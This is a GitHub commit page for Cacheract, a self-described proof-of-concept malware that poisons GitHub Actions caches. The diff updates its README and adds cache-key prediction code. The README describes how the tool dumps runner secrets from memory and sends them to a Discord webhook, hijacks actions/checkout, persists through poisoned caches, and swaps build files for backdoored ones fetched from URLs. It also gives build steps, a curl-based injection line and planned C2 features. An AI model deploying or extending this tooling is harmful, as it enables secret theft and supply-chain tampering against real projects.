Skip to content

Commit 963ee16

Browse files
committed
More readme updates, fixes, working towards cache key prediction
1 parent f074497 commit 963ee16

File tree

11 files changed

+746
-113
lines changed

11 files changed

+746
-113
lines changed

README.md

Lines changed: 73 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -13,19 +13,18 @@
1313

1414
Cacheract is a novel proof-of-concept for cache-native malware targeting ephemeral GitHub Actions build pipelines. The core idea behind Cacheract is that a poisoned GitHub Actions cache provides a direct path to arbitrary code execution and file modification within victim pipelines.
1515

16-
Cacheract enhances this approach by opportunistically poisoning new cache entries to persist within a build pipeline. Its default implementation does not modify or build outputs but instead reports pipeline telemetry to a webhook.
16+
Cacheract enhances this approach by opportunistically poisoning new cache entries to persist within a build pipeline. Its default implementation does not modify or build outputs but instead reports pipeline telemetry and secrets to a webhook. Offensive Security practitioners can take advantage of Cacheract to simulate a compromised dependency in an upstream package. Typically, supply chain attacks target end consumers. This can be workstations or servers. However, Cacheract is designed to target Actions pipeliens exclusively - if it lands on a machine that is not a GitHub Actions runner, it will exit silently.
1717

18-
Cacheract's most malicious behavior occurs when it executes in a default branch with a `GITHUB_TOKEN` that has `actions: write` permissions. In this scenario, Cacheract automatically downloads existing cache entries, updates the cache archive to include itself, deletes the old entry, and re-uploads the new, poisoned cache entry.
18+
Cacheract's most interesting behavior occurs when it executes in a default branch with a `GITHUB_TOKEN` that has `actions: write` permissions. In this scenario, Cacheract automatically downloads existing cache entries, updates the cache archive to include itself, deletes the old entry, and re-uploads the new, poisoned cache entry.
1919

20-
In this scenario, Cacheract has the potential to persist for weeks or months. As long as a workflow runs every 7 days to warm the cache and the Cache holding Cacheract is not evicted, then Cacheract will continue to persist.
20+
In this scenario, Cacheract has the potential to persist for weeks or even months. As long as a workflow runs every 7 days to warm the cache and the Cache holding Cacheract is not evicted, then Cacheract will continue to persist.
2121

22-
Cacheract supports GitHub-hosted Linux ARM and x64 runners. Due to configuration and permission differences, Cacheract does not operate on self-hosted runners, Windows, or macOS runners. Supporting MacOS and Windows GitHub hosted runners is an area for future research.
22+
Cacheract supports GitHub-hosted Linux ARM and x64 runners. Due to configuration and permission differences, Cacheract does not operate on self-hosted runners, Windows, or macOS runners. Supporting MacOS and Windows GitHub hosted runners is an area for future research - the main hurdle is a stable primitive to extract
23+
secrets from the runner's memory that doesn't require packing a native binary into this application.
2324

2425
## What Does Cacheract Do?
2526

26-
Cacheract functions by overwriting the `action.yml` file for subsequent actions used within the pipeline to point to malicious, trojanized code. For this proof-of-concept, it targets `actions/checkout`, as most pipelines that use caching also check out code.
27-
28-
You can easily extend Cacheract to poison other actions by configuring the modified `action.yml` within the `config.js` file.
27+
Cacheract works by overwriting the `action.yml` file for subsequent actions used within the pipeline to point to malicious, trojanized code. For this proof-of-concept, it targets `actions/checkout`, as most pipelines that use caching also check out code.
2928

3029
Every time Cacheract runs, it reports information about the pipeline to a webhook. If the pipeline is using an `ubuntu-latest` runner, it uses memory dump techniques to silently extract all of the pipeline's secrets and sends them to a Discord webhook. Furthermore, the production build of Cacheract is near unnoticable within a pipeline. It executes during the Post Run phase of the `actions/checkout` reusable action and all stdout and stderr output is nulled.
3130

@@ -43,13 +42,77 @@ This is particularly effective when simulating compromised NPM or PyPi packages.
4342

4443
You can use [Gato-X](https://github.com/adnaneKhan/gato-x) to find projects that could be susceptible to Pwn Request or injection attacks that an attacker can use to deploy Cacheract.
4544

45+
4646
### Propagation
4747

4848
Cache keys and entries change frequently. To persist, Cacheract must opportunistically poison newer cache entries. Cacheract accomplishes this by checking all unique cache keys and versions that exist in non-default branches and setting a default branch entry for them. The basis for this approach is that pull requests updating files used to derive cache keys (e.g., lockfiles) typically set these entries within the merge reference scope. By pre-poisoning these entries, Cacheract can persist even after the original cache key changes.
4949

50+
If there are no cache keys present, Cacheract will parse workflow files for cache key patterns, compute the cache key + version, and set the new value itself.
51+
52+
### File Overwrites
53+
54+
Cacheract supports "Replacements". A replacement is a file that cacheract will pack into a modified cache entry in addition to itelf. Replacements will fire upon the _second_ execution of Cacheract. Replacements
55+
are what you can use to demonstrate impact with Cacheract beyond information disclosure. A replacement could swap the `package.json` file of a target repository with a backdoored version, or silently swap out
56+
a source file prior to compilation (like Solarwinds!).
57+
58+
The following is a Cacheract exploitation scenario where Cacheract executes in the `main` branch but does NOT have `actions: write` permission.
59+
60+
1 -> Implantation: Cacheract runs in default branch of victim workflow via backdoored upstream, Pwn Request, Injection, or malicious Insider.
61+
2 -> Cache Identifiication: Cacheract identifies cache entries from non-default branches that do _not_ exist in `main`.
62+
3 -> Cacheract will not be able to download the file from the child branch, but it will be able to create a new one in main.
63+
64+
Cacheract will simply add itself to an archive, AND add junk data to make the entry large enough to match the cache entry from
65+
the non-default branch.
66+
67+
```
68+
/tmp/A
69+
/home/runner/work/_actions/actions/checkout/v4/
70+
/home/runner/work/_actions/actions/checkout/v4/action.yml
71+
/home/runner/work/_actions/actions/checkout/v4/dist/
72+
/home/runner/work/_actions/actions/checkout/v4/dist/utility.js
73+
```
74+
75+
4 -> Now, let's suppose the operator configured a replacement for the `/home/runner/work/victimrepo/victimrepo/package.json` file. Cacheract will also add that file to the archive. Since Actions caches use `tar -P` to extract the archive, this will over-write the `package.json` file upon a cache hit.
76+
77+
```
78+
/tmp/A
79+
/home/runner/work/_actions/actions/checkout/v4/
80+
/home/runner/work/_actions/actions/checkout/v4/action.yml
81+
/home/runner/work/_actions/actions/checkout/v4/dist/
82+
/home/runner/work/_actions/actions/checkout/v4/dist/utility.js
83+
/home/runner/work/victimrepo/victimrepo/package.json
84+
```
85+
86+
5 -> Cacheract will archive the files and upload them to GitHub.
87+
88+
6 -> If there is a subsequent workflow that has a cache hit on that key (let's say a release workflow), then it will end up over-writing the `action.yml` for checkout along with the `package.json` file.
89+
7 -> Workflow will perform unexpected activities during build. Example: package.json contains a second stage payload in a `prebuild` script, this script pulls down additional
90+
malicious files that modify the build output entirely and obfuscates the output in build, finally it cleans the `package.json` to normal state.
91+
8 -> Package on NPM contains obfuscated backdoor, which no trace of where the original source code came from.
92+
93+
#### Replacements Configuration
94+
95+
You can configure replacements by adding to the `Replacement[]` array in `src/config.js`. There are two ways to add a replacement. The first is a Base64 encoded string. This would be useful for smaller files like scripts or config files. The other replacement is a URL. Cacheract will make an HTTP GET request to
96+
download the file and then write it out. This is useful if you have a larger file and do not want the Blue Team to see it. If the file is not present at the URL, then Cacheract will continue without writing out that file.
97+
98+
```ts
99+
export const REPLACEMENTS: Replacement[] = [
100+
{
101+
FILE_PATH: "/home/runner/work/Cacheract/Cacheract/hacked.txt",
102+
FILE_CONTENT: "AAAAAA=="
103+
},
104+
{
105+
FILE_PATH: "/home/runner/work/Cacheract/Cacheract/README.md",
106+
FILE_URL: "https://raw.githubusercontent.com/AdnaneKhan/Gato-X/refs/heads/main/README.md"
107+
}
108+
]
109+
```
110+
50111
## Building
51112

52-
Cacheract is a Node.js application. Simply build it with `npm build`, and the artifacts for Cacheract will be placed in the `dist` directory. You should set the `DISCORD_WEBHOOK` value in the `config.ts` file prior to deploying Cacheract.
113+
Cacheract is a Node.js application. Simply build it with `npm build`. Cacheract is roughly 1.4 MB in size. Cacheract does not include obfuscation, but you can add this if desired via a webpack plugin.
114+
115+
If you want to report telemetry, you should set the `DISCORD_WEBHOOK` value in the `src/config.ts` file _prior_ to building Cacheract.
53116

54117
```
55118
git clone https://github.com/AdnaneKhan/Cacheract
@@ -71,7 +134,8 @@ In an Actions script injection scenario, you could use `$(curl -sSfL https://you
71134
## Future Work
72135

73136
- Add conditional post exploitation flow. Cacheract is designed to allow operators to jump to more privilegd pipelines. Cacheract will heave features to detect when it is running in a more privileged pipeline and deploy additional code (such as for OIDC abuse, release tampering, etc.)
74-
- Dyanmic C2 capabilities. Support reaching out to specific domain for additional commands to execute.
137+
- Dynamic C2 capabilities. Support reaching out to specific domain for additional commands to execute.
138+
- Termination date: Support automatically removing after a given date.
75139

76140
## Indicators of Compromise
77141

package-lock.json

Lines changed: 16 additions & 4 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

package.json

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,8 @@
2020
"webpack-cli": "^4.10.0"
2121
},
2222
"dependencies": {
23+
"@actions/exec": "^1.1.1",
24+
"@actions/glob": "^0.5.0",
2325
"@actions/cache": "^4.0.0",
2426
"@actions/core": "^1.11.1",
2527
"@actions/github": "^6.0.0",

src/cache_predictor.ts

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
2+
3+
4+
import { join } from 'path';
5+
import os from 'os';
6+
import * as cache from '@actions/cache';
7+
import * as glob from '@actions/glob';
8+
import { getPackageManagerInfo, findLockFile, PackageManagerInfo, getCacheDirectories } from './cache_predictor/node';
9+
10+
export interface CacheParams {
11+
key: string;
12+
version: string;
13+
}
14+
15+
export interface NodeCacheConfig {
16+
package_manager: string;
17+
cacheDependencyPath: string;
18+
node_version?: string;
19+
node_version_file?: string;
20+
}
21+
22+
23+
export async function getNodeCache(config: NodeCacheConfig): Promise<CacheParams> {
24+
25+
const platform = process.env.RUNNER_OS;
26+
const arch = os.arch();
27+
const packageManagerInfo = await getPackageManagerInfo(config.package_manager);
28+
if (packageManagerInfo == null) {
29+
throw new Error(`Unsupported package manager: ${config.package_manager}`);
30+
}
31+
32+
const lockFilePath = config.cacheDependencyPath
33+
? config.cacheDependencyPath
34+
: findLockFile(packageManagerInfo);
35+
const fileHash = await glob.hashFiles(lockFilePath);
36+
37+
const keyPrefix = `node-cache-${platform}-${arch}-${config.package_manager}`;
38+
const primaryKey = `${keyPrefix}-${fileHash}`;
39+
40+
41+
const cachePaths = await getCacheDirectories(
42+
packageManagerInfo,
43+
config.cacheDependencyPath
44+
);
45+
46+
const version = await calculateCacheVersion(cachePaths);
47+
48+
return { key: primaryKey, version: version };
49+
}
50+
51+
52+
// export async function getPythonCache(params: type): Promise<CacheParams> {
53+
54+
// }
55+
56+
57+
// export async function getJavaCache(params: type): Promise<CacheParams> {
58+
59+
// }
60+
61+
62+
// export async function getGoCache(params: type): Promise<CacheParams> {
63+
64+
// }
65+
66+
67+
// export async function getRubyCache(params: type): Promise<CacheParams> {
68+
69+
// }
70+
71+
72+
export async function calculateCacheVersion(paths: string[]): Promise<string> {
73+
var cacheHttpclient = require('@actions/cache/lib/internal/cacheHttpUtils');
74+
const version = cacheHttpclient.getCacheVersion(paths);
75+
return version
76+
}

src/cache_predictor/go.ts

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
/**
2+
*
3+
* The majority of code in this file is copied from the actions/setup-go repository
4+
* at https://github.com/actions/setup-go.
5+
*
6+
* * The MIT License (MIT)
7+
* Copyright (c) 2018 GitHub, Inc. and contributors
8+
*
9+
* Permission is hereby granted, free of charge, to any person obtaining a copy
10+
* of this software and associated documentation files (the "Software"), to deal
11+
* in the Software without restriction, including without limitation the rights
12+
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
13+
* copies of the Software, and to permit persons to whom the Software is
14+
* furnished to do so, subject to the following conditions:
15+
*
16+
* The above copyright notice and this permission notice shall be included in
17+
* all copies or substantial portions of the Software.
18+
*
19+
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
20+
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
21+
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
22+
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
23+
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
24+
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
25+
* THE SOFTWARE.
26+
*
27+
*/

src/cache_predictor/java.ts

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
/**
2+
*
3+
* The majority of code in this file is copied from the actions/setup-java repository
4+
* at https://github.com/actions/setup-java.
5+
*
6+
* * The MIT License (MIT)
7+
* Copyright (c) 2018 GitHub, Inc. and contributors
8+
*
9+
* Permission is hereby granted, free of charge, to any person obtaining a copy
10+
* of this software and associated documentation files (the "Software"), to deal
11+
* in the Software without restriction, including without limitation the rights
12+
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
13+
* copies of the Software, and to permit persons to whom the Software is
14+
* furnished to do so, subject to the following conditions:
15+
*
16+
* The above copyright notice and this permission notice shall be included in
17+
* all copies or substantial portions of the Software.
18+
*
19+
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
20+
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
21+
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
22+
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
23+
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
24+
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
25+
* THE SOFTWARE.
26+
*
27+
*/

0 commit comments

Comments
 (0)